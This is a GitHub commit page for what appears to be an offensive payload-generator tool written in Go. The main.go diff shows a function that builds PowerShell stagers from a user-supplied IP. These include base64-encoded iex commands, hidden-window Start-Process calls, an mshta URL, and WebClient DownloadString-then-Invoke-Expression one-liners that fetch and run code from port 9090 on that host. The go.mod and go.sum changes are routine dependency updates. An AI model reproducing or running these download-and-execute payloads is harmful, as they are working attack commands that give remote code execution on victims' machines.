Skip to content

Commit

Permalink
更新
Browse files Browse the repository at this point in the history
更新
  • Loading branch information
demonsec666 committed Feb 6, 2020
1 parent 0493b00 commit b2b730a
Show file tree
Hide file tree
Showing 3 changed files with 19 additions and 9 deletions.
1 change: 1 addition & 0 deletions go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ require (
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 // indirect
github.com/c-bata/go-prompt v0.2.3 // indirect
github.com/fatih/color v1.9.0 // indirect
github.com/mattn/go-tty v0.0.3 // indirect
github.com/olekukonko/tablewriter v0.0.4 // indirect
github.com/pkg/term v0.0.0-20190109203006-aa71e9d9e942 // indirect
)
8 changes: 8 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
Expand Up @@ -16,10 +16,14 @@ github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVc
github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=
github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/mattn/go-runewidth v0.0.6/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-tty v0.0.3 h1:5OfyWorkyO7xP52Mq7tB36ajHDG5OHrmBGIS/DtakQI=
github.com/mattn/go-tty v0.0.3/go.mod h1:ihxohKRERHTVzN+aSVRwACLCeqIoZAWpoICkkvrWyR0=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/olekukonko/tablewriter v0.0.4 h1:vHD/YYe1Wolo78koG299f7V/VAS08c6IpCLn+Ejf/w8=
Expand All @@ -31,9 +35,13 @@ github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXf
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e h1:N7DeIrjYszNmSW409R3frPPwglRwMkXSBzwVbkOjLLA=
golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
19 changes: 10 additions & 9 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -309,6 +309,7 @@ func info_os() {
func Hosts() {

Blue := color.New(color.FgBlue).SprintFunc() //颜色设定 https://github.com/fatih/color
red := color.New(color.FgRed).SprintFunc()

prompt := &survey.Input{
Message: "set ip",
Expand All @@ -328,15 +329,15 @@ func Hosts() {
encoded := base64.StdEncoding.EncodeToString(strbytes)
// fmt.Println(encoded)
command := "Start-Job -scriptblock {iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('" + encoded + "')))}"
fmt.Printf("%s %s \n", Blue("[+]"), command)
fmt.Printf("%s %s \n", red("[+]"), command)
fmt.Println("\n")

command = "Start-Process powershell -ArgumentList " + "\"iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('" + encoded + "')))\"" + " -WindowStyle Hidden"
fmt.Printf("%s %s \n", Blue("[+]"), command)
fmt.Printf("%s %s \n", red("[+]"), command)
fmt.Println("\n")

command = "mshta http://" + Host + ":9090/hjf"
fmt.Printf("%s %s \n", Blue("[+]"), command)
fmt.Printf("%s %s \n", red("[+]"), command)
fmt.Println("\n")

//---------------------------------------------------------------
Expand All @@ -348,32 +349,32 @@ func Hosts() {
commandJ := "Start-Job -scriptblock {iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('" + encoded_JOB + "')))}"
//commandF = commandJ
fmt.Printf("%s %s \n", Blue("[*]"), "---+Powershell JOB Payload+---")
fmt.Printf("%s %s \n", Blue("[+]"), commandJ)
fmt.Printf("%s %s \n", red("[+]"), commandJ)
fmt.Println("\n")
//---------------------------------------------------------------
commandP := "Start-Process powershell -ArgumentList " + "\"iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('" + encoded + "')))\"" + " -WindowStyle Hidden"
fmt.Printf("%s %s \n", Blue("[*]"), "---+Powershell New Process Payload+---")
fmt.Printf("%s %s \n", Blue("[+]"), commandP)
fmt.Printf("%s %s \n", red("[+]"), commandP)
fmt.Println("\n")
//---------------------------------------------------------------
commandF_IP := "$V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$S=$V.DownloadString('http://" + Host + ":9090/hjf');IEX($s)"
commandF_strbytes := []byte(commandF_IP)
commandF_encoded := base64.StdEncoding.EncodeToString(commandF_strbytes)
commandF := "iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('" + commandF_encoded + "')))"
fmt.Printf("%s %s \n", Blue("[*]"), "---+Powershell JOB + File Payload+---")
fmt.Printf("%s %s \n", Blue("[+]"), commandF)
fmt.Printf("%s %s \n", red("[+]"), commandF)
fmt.Println("\n")
//---------------------------------------------------------------
simple_payload := "powershell -w hidden \"$h = (New-Object Net.WebClient).DownloadString('http://" + Host + ":9090/get');Invoke-Expression $h;\""

simple_payload2 := "powershell -w hidden \"IEX(New-Object Net.WebClient).DownloadString('http://" + Host + ":9090/get');\""
simple_payload3 := "powershell -w hidden \"Invoke-Expression(New-Object Net.WebClient).DownloadString('http://" + Host + ":9090/get');\""
fmt.Printf("%s %s \n", Blue("[*]"), "---+ Powershell simple payloads +---")
fmt.Printf("%s %s \n", Blue("[+]"), simple_payload)
fmt.Printf("%s %s \n", red("[+]"), simple_payload)
fmt.Println("\n")
fmt.Printf("%s %s \n", Blue("[+]"), simple_payload2)
fmt.Printf("%s %s \n", red("[+]"), simple_payload2)
fmt.Println("\n")
fmt.Printf("%s %s \n", Blue("[+]"), simple_payload3)
fmt.Printf("%s %s \n", red("[+]"), simple_payload3)
fmt.Println("\n")
}

Expand Down

0 comments on commit b2b730a

Please sign in to comment.